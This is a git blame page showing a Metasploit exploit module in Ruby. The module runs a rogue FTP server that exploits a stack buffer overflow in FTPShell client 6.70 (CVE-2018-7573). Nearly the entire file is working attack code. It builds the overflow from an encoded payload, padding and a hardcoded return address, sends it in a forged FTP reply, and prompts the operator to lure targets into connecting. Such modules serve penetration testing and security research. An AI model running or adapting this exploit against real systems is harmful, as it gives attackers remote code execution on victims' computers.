Files
metasploit-gs/modules/exploits/windows/ftp/ftpshell_cli_bof.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

108 lines
3.2 KiB
Ruby
Raw Normal View History

2018-06-27 16:37:22 +01:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow',
'Description' => %q{
2018-06-28 12:55:48 +01:00
This module exploits a buffer overflow in the FTPShell client 6.70 (Enterprise
edition) allowing remote code execution.
2018-06-27 16:37:22 +01:00
},
2025-06-20 13:20:44 +01:00
'Author' => [
'r4wd3r', # Original exploit author
'Daniel Teixeira' # MSF module author
2018-06-27 16:37:22 +01:00
],
2025-06-20 13:20:44 +01:00
'License' => MSF_LICENSE,
'References' => [
2018-06-27 16:42:29 +01:00
[ 'CVE', '2018-7573'],
2018-06-27 16:37:22 +01:00
[ 'EDB', '44596' ]
],
2025-06-20 13:20:44 +01:00
'Payload' => {
'Space' => 400,
2018-06-27 16:37:22 +01:00
'BadChars' => "\x00\x22\x0d\x0a\x0b"
},
2025-06-20 13:20:44 +01:00
'Platform' => 'win',
'Targets' => [
2018-06-27 16:37:22 +01:00
# CALL ESI in FTPShell.exe : 0x00452eed
2025-06-20 13:20:44 +01:00
[ 'Windows Universal', { 'Ret' => "\xed\x2e\x45" } ]
2018-06-27 16:37:22 +01:00
],
2025-06-20 13:20:44 +01:00
'Privileged' => false,
'DefaultOptions' => {
2018-06-27 16:37:22 +01:00
'SRVHOST' => '0.0.0.0',
'EXITFUNC' => 'thread'
},
2025-06-20 13:20:44 +01:00
'DisclosureDate' => '2017-03-04',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2018-06-27 16:37:22 +01:00
2018-06-28 12:55:48 +01:00
register_options [ OptPort.new('SRVPORT', [ true, 'The FTP port to listen on', 21 ]) ]
2018-06-27 16:37:22 +01:00
end
def exploit
srv_ip_for_client = datastore['SRVHOST']
if srv_ip_for_client == '0.0.0.0'
if datastore['LHOST']
srv_ip_for_client = datastore['LHOST']
else
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
end
end
srv_port = datastore['SRVPORT']
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
super
end
def on_client_connect(client)
2018-06-29 14:22:40 +01:00
p = regenerate_payload(client)
return if p.nil?
2025-06-20 13:20:44 +01:00
2018-06-27 16:37:22 +01:00
print_status("#{client.peerhost} - connected.")
res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}") unless res.empty?
print_status("#{client.peerhost} - Response: Sending 220 Welcome")
welcome = "220 Welcome.\r\n"
client.put(welcome)
res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}")
print_status("#{client.peerhost} - Response: sending 331 OK")
user = "331 OK.\r\n"
client.put(user)
res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}")
print_status("#{client.peerhost} - Response: Sending 230 OK")
pass = "230 OK.\r\n"
client.put(pass)
res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}")
2018-06-28 12:55:48 +01:00
sploit = '220 "'
2018-06-27 16:42:29 +01:00
sploit << payload.encoded
2018-06-29 14:22:40 +01:00
sploit << "\x20" * (payload_space - payload.encoded.length)
2018-06-27 16:37:22 +01:00
sploit << target.ret
2018-06-29 14:22:40 +01:00
sploit << "\" is current directory\r\n"
2018-06-27 16:37:22 +01:00
print_status("#{client.peerhost} - Request: Sending the malicious response")
client.put(sploit)
end
end